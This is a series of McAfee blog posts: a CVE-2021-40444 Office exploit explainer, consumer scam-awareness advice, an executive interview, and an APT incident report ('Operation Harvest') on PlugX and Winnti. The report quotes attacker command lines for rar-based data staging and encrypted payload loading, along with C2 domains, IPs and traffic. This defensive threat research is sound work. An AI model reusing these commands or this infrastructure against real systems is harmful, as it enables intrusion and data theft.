Office is one of the most widely-used applications on the planet. Odds are good you have it open right now. While many companies have disabled macros within Office documents at the Group Policy level, it is unlikely ActiveX is treated similarly. This means that without proper data hygiene, a large proportion of Office users will be vulnerable to this exploit.
Fortunately, “spray and pray” style email campaigns are unlikely to gain traction with this exploit, as mail providers have started flagging malicious files (or at least known PoCs) as potential malware and removing them as attachments.
What can I do?
Good news! You aren’t necessarily completely helpless. By default, Windows uses a flag known as the “Mark of the Web” (MoTW) to enable Protected Mode in Office. Email attachments, web downloads, and similar all have this MoTW flag set, and Protected Mode prevents network operations, ActiveX controls, and macros embedded within a document from being executed, which effectively disables exploitation attempts for this vulnerability.
That said, users have become so inured to the Protected View message, they often dismiss it without considering the consequences. Much like “confirmation fatigue” can lead to installing malicious software, attackers can leverage this common human response to compromise the target machine.
Even more so, while exploitation can occur via the Office applications themselves and via the Explorer preview pane, the Outlook preview pane operates in a completely different manner which does not trigger the exploit. Exactly why this distinction exists only MS can explain, but the upshot is that Outlook users have to explicitly open malicious files to be exploited – the more hoops users have to jump through to open a malicious, the less likely they are to be pwned.
If I’m protected by default, why does this matter?
It depends entirely on how the file gets delivered and where the user saves it.
There are many ways of getting files beyond email and web downloads – flash cards for cameras, thumb drives, external hard drives, etc. Files opened from these sources (and many common applications[1]) don’t have MoTW flag set, meaning that attackers could bypass the protection entirely by sending a malicious file in a .7z archive, or as part of a disk image, or dropping a USB flash drive in your driveway. Convincing users to open such files is no harder than any other social engineering strategy, after all.
Another fun workaround for bypassing default protections is to make use of an RTF file – emailed, downloaded, or otherwise. From our testing, an RTF file saved from an email attachment does not bear the MoTW but can still be used as a vector of exploitation. Whether RTF files become the preferred option for this exploit remains to be seen.
TL;DR
Ha! We put the tl;dr near the end, which only makes sense when the information above is so important it’s worth reading. But if all you care about is what you can actively do to ensure you’re not vulnerable, this section is for you.
Mitigations:
The Gold Standard
In case you simply can’t apply the patch or have a “production patch cycle” or whatever, McAfee Enterprise has you covered. Per our KB we provide comprehensive coverage for this attack across our protection and detection technology stack of endpoint (ENS Expert Rules), network (NSP) and EDR.
https://kc.mcafee.com/corporate/index?page=content&id=KB94876
[1] 7zip, files from disk images or other container formats, FAT formatted volumes, etc.
The post The Bug Report | September 2021: CVE-2021-40444 appeared first on McAfee Blog.
Sadly, online job scams targeting older adults have been an issue for years. However, in a pandemic job market, cybercriminals are working overtime to devise schemes that exploit job seekers’ need for financial security.
According to the Better Business Bureau, Americans lost more than $62 million in employment scams in 2020. In addition, with federal unemployment benefits ending this month, that number is expected to rise as more people head online to look for work.
Online hiring scams can be hard to detect because scammers advertise job opportunities the same way legitimate employers do—via online ads, job sites, and popular social networking channels. They promise job seekers opportunity and hope but are carefully designed to the applicant’s personal information or deceive them into sending money.
Here are just a few examples of online jobs scams targeting older adults and a few ways to avoid becoming a victim.
Last year the Federal Trade Commission (FTC) identified and shut down a scam on LinkedIn in which a company sent potential job candidates a direct message promising a high-paying job still unpublished to the public. The catch? Potential candidates were asked to pay a fee of up to $2,500 to set up the interview. Variations of this scam, using LinkedIn as a channel, may be in play.
Some scammers are getting especially bold and posting job openings using the names, logos, and even staff names from legitimate companies to lure unsuspecting job seekers into fake interviews. After a questionnaire or interview, the company informs the applicant they have the job. From there, they collect personal information as if it’s part of a legitimate onboarding process—only the job doesn’t exist.
A popular scam involves a company offering job seekers a six-figure income working from home with the promise you can “be your own boss “and “set your own schedule.” The catch: Job seekers must first purchase a starter kit or some form of online coaching package to qualify for the “opportunity.” After that, the company can disappear or charge the consumer thousands of dollars more for training that never comes.
According to the BBB, some scams include job seekers submitting personal information to potential employers only to have that information stolen and used for fraudulent schemes. Some scams even involve online interviews that appeared legitimate; only the interviewer didn’t appear on camera. The bogus employer asks for personal data during the interview, including banking information needed for direct depositing a paycheck.
If an employer attempts to hire you by text, email, or a photo-only video interview, beware. Legitimate employers, no matter how small, will have a professional hiring process. Job Search Safety Tips: 1) Call the company to make sure the job offer is legitimate. 2) Verify the name of the company contact through LinkedIn and verify the person with whom you are communicating 3) Consider comprehensive security software to protect your devices from malware sent via phishing emails from potential employers.
A legitimate employer will not ask for money from a potential or new hire. Nor will they ask you to purchase “training” or cash a check for “software” as part of your employment. Job Search Safety Tip: Check the BBB’s Scam Tracker for scams connected to a company.
If an employer sends you a cashier’s check or even a corporate check, know it may not be real, even if your bank accepts it for a deposit (it won’t clear). Various fake check scams can pull in unwitting victims through job posts that advertise positions for merchandise resellers, virtual assistants, mystery shoppers, car wrappers, caregivers, and photographers.
If an employer immediately asks for personal data such as your SSN, birthdate, driver’s license number, etc., chances are it’s a scam. Job Search Safety Tip: 1) Bank-routing information is for direct deposits after you’ve met an employer in person. If you are applying for remote work, wait for a signed offer, be sure to verify the company and the offer before sharing financial information. 2) Consider using a Virtual Private Network, to share any kind of private information regarding employment.
Job scammers target people who are stressed and desperate for work. If the potential employer seems to be pushing you to give information, send money, or take the next step, it may be a scam. Job Search Safety Tip: Slow down and ask yourself, “Does this sound right?” Seek out the opinion of a friend or relative if needed.
Need guidance? Call the AARP Fraud Watch Network helpline toll-free at 877-908-3360. Stay aware of scams targeting seniors at aarp.org/fraudwatchnetwork.
If you are the victim of a scam or attempted scam, report it to the FTC, IC3, FBI, and IdentityTheft.gov.
Finally, remember that legitimate job boards such as Indeed, Monster, and LinkedIn can contain fake companies, bogus jobs, and positions that look incredible that will cause incredible heartache for a job seeker that forges ahead without caution.
The post How to Help Seniors Spot Online Job Scams appeared first on McAfee Blog.
The COVID-19 pandemic flipped the world on its head in so many ways. Offices and schools stood empty while living rooms were transformed into classrooms and workspaces. Misinformation ran rampant and made people unsure of what to believe. Cybercriminals took advantage of the confusion and new way of daily life, giving rise to many COVID-19 scams.
Luckily, when armed with the facts, you can sidestep scams and keep your personal information safe from cybercriminals. Here’s a list of the top 10 COVID-19 scams you should keep an eye on plus tips on how to avoid each and help you navigate the current landscape and the future with confidence.
Finally getting your COVID-19 vaccine is an exciting occasion. Many people’s first reaction to exciting news is to share it with their extended networks on social media. There was a trend going around where people were posting pictures of their vaccination cards. Little did they know, vaccination cards hold a trove of valuable information (name, birth dates, vaccination location, and dates) that can be used to create counterfeit vaccination cards.
Additionally, the information on vaccination cards can be paired together with other details from your social media profile to steal your identity. Consider altering the privacy settings on your social media profiles so it is only visible to people you know. If you’d like additional peace of mind that your identity is safe, McAfee Identity Theft Protection Plus provides up to $1 million in identity theft insurance and restoration assistance.
Some of the false claims about COVID-19 circulating on social media are outrageous, such as 5G aiding the spread of the virus and eating garlic as a preventive measure. Cybercriminals might not have been the origin of false claims, but they certainly benefit from the chaos created by misinformation. They capitalize on commonly held fears by swooping in with cure-alls that swindle money from concerned people.
Be a source of truth for your social media following. The Centers for Disease Control and Prevention, the National Health Service, and the World Health Organization can be trusted for up-to-date resources concerning COVID-19, the vaccine, and how to remain healthy.
To firmly and quickly debunk this myth right now: There are no COVID-19 miracle cures. The best way to protect your and your loved one’s health is to receive a CDC-approved vaccination from a medical institution. Any homemade online treatment claiming to cure the disease is a hoax to steal money. Also, healing potions purchased online could be hazardous to your health, as in the case of one fraudulent operation in Florida. A Florida family sold a bleach solution that swindled $1 million and left many people hospitalized.
For the latest news about COVID-19 treatment, preventive measures, and the vaccine, refer to the CDC or WHO.
Various stimulus check scams were swirling around in early 2021. Scammers impersonating government workers contacted citizens by phone, text, and email asking them to verify personal information or to pay fees to receive their checks.
As with other IRS scams, the best way to avoid them is to know how the IRS typically communicates. The IRS will never ask for private personal information over email or over the phone. Never share your Social Security Number over email or the phone. The IRS only gets in touch with people through postal mail or in person.
A new COVID-19 phishing scam is on the rise: proof of vaccination scam. Cybercriminals are sending phishing emails posing as healthcare institutions asking for urgent confirmation of vaccine status. The emails ask for full names, birth dates, Social Security Numbers, and photos of vaccine cards. This scam is dangerous, not only because it asks for sensitive information, but because the request is a believable one. Employers and various other institutions are on the fence about asking people for their vaccine status, and people are unsure to whom they should divulge this information.
Like with other phishing scams, pay close attention to the message and how it’s written. Does it convey urgency and penalties for ignoring it? Phishing emails often use language that causes readers to panic and give up their information quickly without taking the time to determine if the message is real or not. Also, does the email or text have typos and is it poorly written? Never click on links or respond to suspicious emails. Instead, contact the supposed sender through the phone number or email address listed on their official website.
Video conferencing popularity soared as businesses and schools conducted work and learning online. Cybercriminals capitalized on the surge by forcing their way into video conferencing software and spying on meetings and classrooms.
The key to protecting the privacy of your teleconference calls is to always have the most up-to-date software installed. Software upgrades often include security patches. One way to ensure you always have the latest, most secure version installed is to enable automatic updates. Also, be careful about what you share over teleconference. Just in case a cybercriminal is eavesdropping, never say aloud or instant message your Social Security Number or other sensitive personal information. Finally, follow your workplace’s IT team’s cybersecurity policies and use only your company-issued device for work purposes. Company-issued devices often have additional security protections to keep your personal and company information safe from prying eyes.
Unfortunately, many people lost their jobs during the pandemic. Cybercriminals, aware that people without jobs were likely to jump on an employment opportunity due to economic uncertainty, flooded job boards with fake employment ads and sent fraudulent job offer emails. These job scams turned out to be phishing attempts to extract personal and banking details. In some cases, the scammers asked job seekers to wire money for pre-employment training.
If you receive a job offer, make sure that it is for a company you actually applied to. Even though companies are looking to hire people quickly, a reputable institution likely won’t offer a job without interviewing candidates first. Most interviews are happening online, so request a video conference to make sure that the person on the other end of the line is real and has honest intentions. Research the interviewer on professional networking sites to make sure they are who they say they are.
Similar to job scams, the urgency of the real estate market during the pandemic may make people act more impulsively than they would under normal circumstances. The rental and housing markets have been extremely competitive, which is causing people to put deposits down for residences that weren’t even real. Since home tours were moved online due to social distancing requirements, buyers and renters were OK with making a decision based on pictures.
Real estate scams play up the urgency of acting quickly. In their hurry to claim a real estate gem, homebuyers and renters may overlook the most glaring red flag of real estate scams during the pandemic: not viewing the property in person. Additionally, never share your banking information or wire money to someone you have never met in person or cannot verify the accredited real estate agency for which they work.
When a cybercriminal poses as a legitimate organization, it’s more difficult to determine what information to trust. For example, criminals circulated a scam impersonating the CDC that downloaded malware onto users’ devices.
A great tip to thwart cybercriminals hiding behind the name of a credible organization is to always hover your cursor over links in emails and texts. If a link redirects to a URL that looks suspicious, immediately delete the message. A suspicious URL could contain a typo, a variant spelling of the organization its impersonating, or be a string of jumbled letters and numbers. Emails that claim to be from official organizations will often have the organization’s logo somewhere on the message. Check the clarity of the logo and compare it to the organization’s official site. If the logo is blurry or the coloring seems off, that’s a sign that the message is fake.
COVID-19 led to a boom in e-commerce. Shopping that was normally conducted in person moved online, and a pile of packages on the front stoop was a common occurrence. There was a fake delivery notice scam where cybercriminals posed as UPS and Amazon to phish for personal details in order to release a hold on deliveries.
One final phishing avoidance tip is: Consider what the message is asking. Has UPS ever asked for your Social Security Number before? If they had it, what would they use it for? And there’s no reason for Amazon to have your banking information. Don’t let the urgency of the scammer’s message stress you out. A quick phone call with the delivery service in question should solve the problem.
The post Top 10 COVID-19 Scams: How to Stay Protected appeared first on McAfee Blog.
For this week’s executive spotlight, I’m highlighting Kathleen Curry, senior vice president, Global Enterprise Channels at McAfee Enterprise. Curry was named one of CRN’s 2021 Channel Chiefs. Joining the company in April 2020, she was acknowledged for her contributions expanding our partner program initiatives to reward partners for servicing customers in line with their modern needs and consumption preferences. This includes spearheading McAfee Enterprises’ “channel first” initiative and ethos, aimed to better empower our channel partner community and increase their profitability, while at the same time optimizing the end customer experience by scaling through McAfee Enterprise’s channels and partners. Read below for more.
Q: Who has been the most influential person in your life? |
My father instilled in me, from as far back as I can remember, that I can do whatever I set my mind to and that I am the owner of my life story. This helped create a positive, empowered mindset when facing challenges and opportunities throughout my life. And my father always kept our world big. Whether it was traveling to see other cultures, sharing his never-ending love of history, or getting involved in our community, his actions showed me the importance of taking time to connect with others, understand the context of things, and have compassion. While he is no longer with us, I still feel like I get advice from him every day.
Q: What are the most significant problems influencing cybersecurity professionals today? |
The ever-changing threat landscape is a real challenge. Finding the time to keep up on trends, proactively secure an environment, and address unexpected issues has become increasingly difficult. Together with our partners, we can help solve these problems.
Q: How do you separate hype from genuine innovation? |
Execution. True innovation delivers real outcomes. It can be big or small, but mostly, it must be realized and validated.
Q: With cybersecurity and AI capabilities expanding at a rapid pace, what will the future look like for companies like McAfee Enterprise and our partners in the coming years? |
There is tremendous opportunity ahead for us and our partners. With the complexity of the cybersecurity landscape, continuing threats, and talent gaps, our customers need our collective solutions, expertise, and services more than ever. We are charging ahead to optimize our channel program with partner profitability and growth at the forefront. Our dedication to a Channel First strategy coupled with best-in-class solutions positions us extremely well to win and best benefit the customers we serve together.
The post Executive Spotlight: Q&A with SVP of Global Channels, Kathleen Curry appeared first on McAfee Blog.
A special thanks to our Professional Services’ IR team, ShadowServer, for historical context on C2 domains, and Thomas Roccia/Leandro Velasco for malware analysis support.
Following a recent Incident Response, McAfee Enterprise‘s Advanced Threat Research (ATR) team worked with its Professional Services IR team to support a case that initially started as a malware incident but ultimately turned out to be a long-term cyber-attack.
From a cyber-intelligence perspective, one of the biggest challenges is having information on the tactics, techniques, and procedures (TTPs) an adversary is using and then keeping them up to date. Within ATR we typically monitor many adversaries for years and collect and store data, ranging from indicators of compromise (IOCs) to the TTPs.
In this report, ATR provides a deep insight into this long-term campaign where we will map out our findings against the Enterprise MITRE ATT&CK model. There will be parts that are censored since we respect the confidentiality of the victim. We will also zoom in and look at how the translation to the MITRE Techniques, historical context, and evidence artifacts like PlugX and Winnti malware led to a link with another campaign, which we highly trust to be executed by the same adversary.
IOCs that could be shared are at the end of this document.
McAfee customers are protected from the malware/tools described in this blog. MVISION Insights customers will have the full details, IOCs and TTPs shared via their dashboard. MVISION Endpoint, EDR and UCE platforms provide signature and behavior-based prevention and detection capability for many of the techniques used in this attack. A more detailed blog with specific recommendations on using the McAfee portfolio and integrated partner solutions to defend against this attack can be found here.
Forensic investigations identified that the actor established initial access by compromising the victim’s web server [T1190]. On the webserver, software was installed to maintain the presence and storage of tools [T1105] that would be used to gather information about the victim’s network [T1083] and lateral movement/execution of files [T1570] [T1569.002]. Examples of the tools discovered are PSexec, Procdump, and Mimikatz.
The adversary has been observed using multiple privilege escalation and persistence techniques during the period of investigation and presence in the network. We will highlight a few in each category.
Besides the use of Mimikatz to dump credentials, the adversaries used two tools for privilege escalations [T1068]. One of the tools was “RottenPotato”. This is an open-source tool that is used to get a handle to a privileged token, for example, “NT AUTHORITY\SYSTEM”, to be able to execute tasks with System rights.
Example of RottenPotato on elevating these rights:
Figure 1 RottenPotato
The second tool discovered, “BadPotato”, is another open-source tool that can be used to elevate user rights towards System rights.
Figure 2 BadPotato
The BadPotato code can be found on GitHub where it is offered as a Visual Studio project. We inspected the adversary’s compiled version using DotPeek and hunted for artifacts in the code. Inspecting the File (COFF) header, we observed the file’s compilation timestamp:
TimeDateStamp: 05/12/2020 08:23:47 – Date and time the image was created
Another major and characteristic privilege escalation technique the adversary used in this long-term campaign was the malware PlugX as a backdoor. PlugX makes use of the technique “DLL Sideloading” [T1574.002]. PlugX was observed as usual where a single (RAR) executable contained the three parts:
The adversary used either the standalone version or distributed three files on different assets in the network to gain remote control of those assets. The samples discovered and analyzed were communicating towards two domains. Both domains were registered during the time of the campaign.
One of the PlugX samples consisted of the following three parts:
| Filename | Hashes |
| HPCustPartic.exe | SHA256: 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6 |
| HPCustPartUI.dll | SHA256: 0ee5b19ea38bb52d8ba4c7f05fa1ddf95a4f9c2c93b05aa887c5854653248560 |
| HPCustPartic.bin | SHA256: 008f7b98c2453507c45dacd4a7a7c1b372b5fafc9945db214c622c8d21d29775 |
The .exe file is a valid and signed executable and, in this case, an executable from HP (HP Customer participation). We also observed other valid executables being used, ranging from AV vendors to video software. When the executable is run, the DLL next to it is loaded. The DLL is valid but contains a small hook towards the payload which, in our case, is the .bin file. The DLL loads the PlugX config and injects it into a process.
We executed the samples in a test setup and dumped the memory of the machine to conduct memory analysis with volatility. After the basic forensically sound steps, we ran the malfind plugin to detect possible injected code in a process. From the redacted output of the plugin, we observed the following values for the process with possible injected code:
Process: svchost.exe Pid: 860 Address: 0xb50000
Process: explorer.exe Pid: 2752 Address: 0x56a000
Process: svchost.exe Pid: 1176 Address: 0x80000
Process: svchost.exe Pid: 1176 Address: 0x190000
Process: rundll32.exe Pid: 3784 Address: 0xd0000
Process: rundll32.exe Pid: 3784 Address: 0x220000
One observation is the mention of the SVCHOST process with a ProcessID value of 1176 that is mentioned twice but with different addresses. This is similar to the RUNDLL32.exe that is mentioned twice with PID 3785 and different addresses. One way to identify what malware may have been used is to dump these processes with the relevant PID using the procdump module, upload them to an online analysis service and wait for the results. Since this is a very sensitive case, we took a different approach. Using the best of both worlds (volatility and Yara) we used a ruleset that consists of malware patterns observed in memory over time. Running this ruleset over the data in the memory dump revealed the following (redacted for the sake of readability) output:
Figure 3 Output Yarascan memory dump
The output of the Yara rule scan (and there was way more output) confirmed the presence of PlugX module code in PID 1176 of the SVCHOST service. Also, the rule was triggered on PID 3784, which belonged to RUNDLL32.exe.
Investigating the dumps after dynamic analysis, we observed two domain names used for C2 traffic:
In particular, we saw the following hardcoded value that might be another payload being downloaded:
sery.brushupdata.com/CE1BC21B4340FEC2B8663B69
The PlugX families we observed used DNS [T1071.001] [T1071.004] as the transport channel for C2 traffic, in particular TXT queries. Investigating the traffic from our samples, we observed the check-in-signature (“20 2A 2F 2A 0D”) that is typical for PlugX network traffic:
00000000: 47 45 54 20 2F 42 34 42 42 44 43 43 30 32 39 45
00000010: 31 31 39 37 31 39 46 30 36 35 36 32 32 20 48 54
00000020: 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20
00000030: 2A 2F 2A 0D 0A 43 6F 6F 6B 69 65 3A 20 44 36 43
00000040: 57 50 2B 56 5A 47 6D 59 6B 6D 64 6D 64 64 58 55
00000050: 71 58 4D 31 71 31 6A 41 3D 0D 0A 55 73 65 72 2D
During our analysis of the different PlugX samples discovered, the domain names as mentioned above stayed the same, though the payload values were different. For example:
Other PlugX samples we observed injected themselves into Windows Media Player and started a connection with the following two domains:
Another mechanism observed was to start a program as a service [T1543.003] on the Operating System with the acquired System rights by using the *Potato tools. The file the adversary was using seemed to be a backdoor that was using the DLL file format (2458562ca2f6fabddae8385cb817c172).
The DLL is used to create a malicious service and its name is “service.dll”. The name of the created service, “SysmainUpdate”, is usurping the name of the legitimate service “SysMain” which is related to the legitimate DLL sysmain.dll and also to the Superfetch service. The dll is run using the command “rundll32.exe SuperFrtch.dll, #1”. The export function has the name “WwanSvcMain”.
The model uses the persistence technique utilizing svchost.exe with service.dll to install a rogue service. It appears that the dll employs several mechanisms to fingerprint the targeted system and avoid analysis in the sandbox, making analysis more difficult. The DLL embeds several obfuscated strings decoded when running. Once the fingerprinting has been done, the malware will install the malicious service using the API RegisterServiceHandlerA then SetServiceStatus, and finally CreateEventA. A description of the technique can be found here.
The malware also decrypts and injects the payload in memory. The following screenshot shows the decryption routine.
Figure 4 Decryption routine
When we analyzed this unique routine, we discovered similarities and the mention of it in a publication that can be read here. The malware described in the article is attributed to the Winnti malware family. The operating method and the code used in the DLL described in the article are very similar to our analysis and observations.
The process dump also revealed further indicators. Firstly, it revealed artifacts related to the DLL analyzed, “C:\ProgramData\Microsoft\Windows\SuperfRtch\SuperfRtch.dat”. We believe that this dat file might be the loaded payload.
Secondly, while investigating the process dump, we observed activities from the backdoor that are part of the data exfiltration attempts which we will describe in more detail in this analysis report.
A redacted snippet of the code would look like this:
Creating archive ***.rar
Adding [data from location]
0%
OK
Another indicator of discovering Winnti malware was the following execution path we discovered in the command line dump of the memory:
cmd /c klcsngtgui.exe 1560413F7E <abbreviation-victim>.dat
What we observed here was the use of a valid executable, the AES 256 decryption key of the payload (.dat file). In this case, the payload file was named using an abbreviation of the victim company’s name. Unfortunately, the adversary had removed the payload file from the system. File carving did not work since the disk/unallocated space was overwritten. However, reconstructing traces from memory revealed that we were dealing with the Winnti 4.0 malware. The malware was injected into a SVCHOST process where a driver location pointed to the config file. We observed in the process dump the exfiltration of data on the system, such as OS, Processor (architecture), Domain, Username, etc.
Another clue that helped us was the use of DNS tunneling by Winnti which we discovered traces of in memory. The hardcoded 208.67.222.222 resolves to a legitimate OpenDNS DNS server. The IP is pushed into the list generated by the malware at runtime. At the start of the malware, it populates the list with the system’s DNS, and the OpenDNS server is only used as a backup to ensure that the C2 domain is resolved.
Another indicator in the process dump was the setup of the C2 connection including the User-Agent that has been observed being used by Winnti 4.0 malware:
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
WMI activity [T1546.003] was also observed to execute commands on the systems.
From a persistence point of view, scheduled tasks [T1053.005] and the use of valid accounts [T1078] acquired through the use of Mimikatz, or creating LSASS dumps, were observed being employed during the length of the campaign.
From a lateral movement perspective, the adversary used the obtained credentials to hop from asset to asset. In one particular case, we observed a familiar filename: “PsExec.exe”. This SysInternals tool is often observed being used in lateral movement by adversaries, however, it can also be used by the sysadmins of the network. In our case, the PsExec executable had a file size of 9.6 MB where the original PsExec (depending on 32- or 64-bit version) had a maximum file size of 1.3 MB. An initial static inspection of the file resulted in a blob of code that was present in the executable which had a very high entropy score (7.99). When running the file from the command line, the following output was observed:
Figure 5 PsExec output
The error notification and the ‘Impacket’ keyword tipped us off and, after digging around, we found more. The fake PsExec is an open-source Python script that is a PsExec alternative with shell/backdoor capability. It uses a script from this location: hxxps://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.pyi. The file is large since it incorporates a low-level protocol interaction from Impacket. The Python library combined with the script code is compiled with py2exe. The file was compiled during the time of the latest attack activities and signed with an expired certificate.
From what we observed, the adversary had a long-term intention to stay present in the victim’s network. With high confidence, we believe that the adversary was interested in stealing proprietary intelligence that could be used for military or intellectual property/manufacturing purposes.
The adversary used several techniques to exfiltrate the data. In some cases, batch (.bat) scripts were created to gather information from certain network shares/folders and use the ‘rar’ tool to compress them to a certain size [T1020] [T1030]. Example of content in a batch script:
C:\Windows\web\rar.exe a -[redacted] -r -v50000 [Target-directory]
On other occasions, manual variants of the above command were discovered after using the custom backdoor as described earlier.
When the data was gathered on a local system using the backdoor, the files were exfiltrated over the backdoor and the rar files were deleted [T1070.004]. Where external facing assets were used, like a web server, the data was stored in a location in the Internet Information Services (IIS) web server and exfiltrated over HTTP using GET requests towards the exact file paths [T1041] [T1567] [T1071].
An example of the [redacted] web traffic in the IIS logfiles:
| Date /Time | Request | TCP Src port | Source IP | User-Agent | |
| Redacted | GET /****/[redacted].rar | 80 | 180.50.*.* | MINIXL | |
| redacted | GET /****/[redacted].rar | 80 | 209.58.*.* | MINIXL | |
The source IP addresses discovered belonged to two different ISP/VPN providers based in Hong-Kong.
The User-Agent value is an interesting one, “MINIXL”. When we researched that value, we discovered a blog from Dell SecureWorks from 2015 that mentions the same User-Agent, but also a lot of the artifacts mentioned from the blog overlapped with the observations and TTPs of Operation Harvest [link].
What we could retrieve from open-source databases is that the use of this particular User-Agent is very limited and seems to originate from the APAC region.
That seems to be the one-million-dollar question to be asked. Within McAfee, attribution is not our main focus, protecting our customers is our priority. What we do care about is that if we learn about these techniques during an investigation, can we map them out and support our IR team on the ground, or a customer’s IR team, with the knowledge that can help determine which phase of the attack the evidence is pointing to and based on historical data and intelligence, assist in blocking the next phase and discover more evidence?
We started by mapping out all MITRE ATT&CK Enterprise techniques and sub-techniques, added the tools used, and did a comparison against historical technique data from the industry. We ended up with four groups that shared techniques and sub-techniques. The Winnti group was added by us since we discovered the unique encryption function in the custom backdoor and indicators of the use of the Winnti malware.
Figure 6 ATT&CK technique comparison
The diagram reflecting our outcome insinuated that APT27 and APT41 are the most likely candidates that overlap with the (sub-)techniques we observed.
Since all these groups are in a certain time zone, we extracted all timestamps from the forensic investigation with regards to:
When we converted all these timestamps from UTC to the aforementioned groups’ time zones, we ended up with the below scheme on activity:
Figure 7 Adversary’s time of operation
In this campaign, we observed how the adversary mostly seems to work from Monday to Thursday and typically during office hours, albeit with the occasional exception.
Correlating ATT&CK (sub-)techniques, timestamps, and tools like PlugX and Mimikatz are not the only evidence indicators that can help to identify a possible adversary. Command-line syntax, specific code similarity, actor capability over time versus other groups, and unique identifiers are at the top of the ‘pyramid of pain’ in threat intelligence. The bottom part of the pyramid is about hashes, URLs, and domains, areas that are very volatile and easy to change by an adversary.
Figure 8 Pyramid of Pain
Beyond investigating those artifacts, we also took possible geopolitical interests and potential deception into consideration when building our hypothesis. When we mapped out all of these, we believed that one of the two previously mentioned groups were responsible for the campaign we investigated.
Our focus was not about attribution though, but more around where the flow of the attack is, matches against previous attack flows from groups, and what techniques/tools they are using to block next steps, or where to locate them. The more details we can gather at the top of ‘the pyramid of pain’, the better we can determine the likely adversary and its TTP’s.
Well, not really. While correlating the observed (sub-)techniques, the malware families and code, we discovered another targeted attack against a similar target in the same nation with the major motivation of gathering intelligence. In the following diagram we conducted a high-level comparison of the tools being used by the adversary:
Figure 9 Tools comparison
Although some of the tools are unique to each campaign, if taken into consideration over time with when they were used, it makes sense. It demonstrates the development of the actor and use of newer tools to conduct lateral movement and to obtain the required level of user rights on systems.
Overall, we observed the same modus operandi. Once an initial foothold was established, the adversary would deploy PlugX initially to create a few backdoors in the victim’s network in case they were discovered early on. After that, using Mimikatz and dumping lsass, they were looking to get valid accounts. Once valid accounts were acquired, several tools including some of their own tools were used to gain information about the victim’s network. From there, several shares/servers were accessed, and information gathered. That information was exfiltrated as rar files and placed on an internet-facing server to hide in the ‘normal’ traffic. We represent that in the following graphic:
Figure 10 Attack flow
In the 2019/2020 case we also observed the use of a malware sample that we would classify as part of the Winnti malware family. We discovered a couple of files that were executed by the following command:
Start Ins64.exe E370AA8DA0 Jumper64.dat
The Winnti loader ‘Ins64.exe’ uses the value ‘E370AA8DA0’ to decrypt the payload from the .dat file using the AES-256-CTR decryption algorithm and starts to execute.
After executing this command and analyzing the memory, we observed a process injection in one of the svchost processes whereby one particular file was loaded from the following path:
C:\programdata\microsoft\windows\caches\ieupdate.dll
Figure 11 Memory capture
The malware started to open up both UDP and TCP ports to connect with a C2 server.
UDP Port 20502
TCP Port 20501
Figure 12 Network connections to C2
Capturing the traffic from the malware we observed the following as an example:
Figure 13 Winnti HTTP traffic to C2
The packet data was customized and sent through a POST request with several headers towards the C2. In the above screenshot the numbers after “POST /” were randomly generated.
The User-Agent is a good network indicator to identify the Winnti malware since it is used in multiple variants:
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Indeed, the same User Agent value was discovered in the Winnti sample in Operation Harvest and seems to be typical for this malware family.
The cookie value consists of four Dword hex values that contain information about the customized packet size using a XOR value.
We learned more about the packet structure of Winnti from this link.
Applying what we learned about the handshake, we observed the following in our traffic sample:
Dword value 0 = 52 54 00 36
Dword value 1 = 3e ff 06 b2
Dword value 2 = 99 6d 78 fe
Dword value 3 = 08 00 45 00
Dword value 4 = 00 34 00 47
Initial handshake order:
Based on our cross-correlation with samples and other OSINT resources, we believe with a high confidence that this was a Winnti 4.0 sample that connects with a confirmed Winnti C2 server.
The identified C2 server was 185.161.211.97 TCP/80.
When analyzing the timestamps from this investigation, like we did for operation Harvest, we came to the below overview:
Figure 14 Beijing working hours case 2019/2020
Again, we observed that the adversary was operating Monday to Friday during office hours in the Beijing time-zone.
Operation Harvest has been a long-term operation whereby an adversary maintained access for multiple years to exfiltrate data. The exfiltrated data would have either been part of an intellectual property theft for economic purposes and/or would have provided insights that would be beneficial in case of military interventions. The adversaries made use of techniques very often observed in this kind of attack but also used distinctive new backdoors or variants of existing malware families. Combining all forensic artifacts and cross-correlation with historical and geopolitical data, we have high confidence that this operation was executed by an experienced APT actor.
After mapping out all data, TTP’s etc., we discovered a very strong overlap with a campaign observed in 2019/2020. A lot of the (in-depth) technical indicators and techniques match. Also putting it into perspective, and over time, it demonstrates the adversary is adapting skills and evolving the tools and techniques being used.
On a separate note, we observed the use of the Winnti malware. We deliberately mention the term ‘malware’ instead of group. The Winnti malware is known to be used by several actors. Within every nation-state cyber-offensive activity, there will be a department/unit responsible for the creation of the tools/malware, etc. We strongly believe that is exactly what we observe here as well. PlugX, Winnti and some other custom tools all point to a group that had access to the same tools. Whether we put name ‘X’ or ‘Y’ on the adversary, we strongly believe that we are dealing with a Chinese actor whose long-term objectives are persistence in their victims’ networks and the acquisition of the intelligence needed to make political/strategic or manufacturing decisions.
| Technique ID | Technique Title | Context Campaign |
| T1190 | Exploit Public-facing application | Adversary exploited a web-facing server with application |
| T1105 | Ingress Tool transfer | Tools were transferred to a compromised web-facing server |
| T1083 | File & Directory Discovery | Adversary browsed several locations to search for the data they were after. |
| T1570 | Lateral Tool Transfer | Adversary transferred tools/backdoors to maintain persistence |
| T1569.002 | System Services: Service Execution | Adversary installed custom backdoor as a service |
| T1068 | The exploitation of Privilege Escalation | Adversary used Rotten/Bad Potato to elevate user rights by abusing API calls in the Operating System. |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Adversary used PlugX malware that is famous for DLL-Side-Loading using a valid executable, a DLL with the hook towards a payload file. |
| T1543.003 | Create or Modify System Process: Windows Service | Adversary launched backdoor and some tools as a Windows Service including adding of registry keys |
| T1546.003 | Event-Triggered Execution: WMI Event Subscription | WMI was used for running commands on remote systems |
| T1053.005 | Scheduled task | Adversary ran scheduled tasks for persistence of certain malware samples |
| T1078 | Valid accounts | Using Mimikatz and dumping of lsass, the adversary gained credentials in the network |
| T1020 | Automated exfiltration | The PlugX malware exfiltrated data towards a C2 and received commands to gather more information about the victim’s compromised host. |
| T1030 | Data transfer size limits | Adversary limited the size of rar files for exfiltration |
